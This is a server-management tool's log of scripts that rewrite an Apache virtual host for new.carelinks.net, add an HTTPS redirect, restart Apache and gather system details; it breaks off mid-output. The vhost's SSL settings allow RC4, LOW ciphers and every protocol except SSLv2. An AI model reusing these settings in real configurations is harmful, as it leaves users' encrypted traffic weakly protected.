MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-29 21:54:19: Establishing a connection
2025-12-29 21:54:19: 

PUT: /tmp/pkp902805

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks_new_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-29 21:54:19: 

chmod 755 /tmp/pkp902805; /tmp/pkp902805; rm /tmp/pkp902805

2025-12-29 21:54:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_new_net.conf 41

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-29 21:54:19: 

PUT: /tmp/pkp129703

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_new_net.conf
TARGET=/etc/apache2/sites-enabled/carelinks_new_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/carelinks
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks_new_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf= 1'
fi


2025-12-29 21:54:19: 

chmod 755 /tmp/pkp129703; /tmp/pkp129703; rm /tmp/pkp129703

2025-12-29 21:54:19: 




2025-12-29 21:54:19: 

PUT: /tmp/pkp605383

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks_new_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-29 21:54:19: 

chmod 755 /tmp/pkp605383; /tmp/pkp605383; rm /tmp/pkp605383

2025-12-29 21:54:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_new_net.conf 41

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-29 21:54:19: 

PUT: /tmp/pkp458202

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_new_net.conf
TARGET=/etc/apache2/sites-enabled/carelinks_new_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/carelinks
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks_new_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf= 1'
fi


2025-12-29 21:54:19: 

chmod 755 /tmp/pkp458202; /tmp/pkp458202; rm /tmp/pkp458202

2025-12-29 21:54:19: 




2025-12-29 21:54:19: 

PUT: /tmp/pkp908943

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-29 21:54:19: 

chmod 755 /tmp/pkp908943; /tmp/pkp908943; rm /tmp/pkp908943

2025-12-29 21:54:19: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-29 21:54:19: Performing Server Status
2025-12-29 21:54:19: 

PUT: /tmp/pkp260849

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-29 21:54:19: 

chmod 755 /tmp/pkp260849; /tmp/pkp260849; rm /tmp/pkp260849

2025-12-29 21:54:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2025-12-29 21:54:19: 

PUT: /tmp/pkp872245

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-29 21:54:19: 

chmod 755 /tmp/pkp872245; /tmp/pkp872245; rm /tmp/pkp872245

2025-12-29 21:54:20: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 297670
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      297670  0.0  0.9 302320 36780 ?        Ss   21:39   0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2025-12-29 21:54:20: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
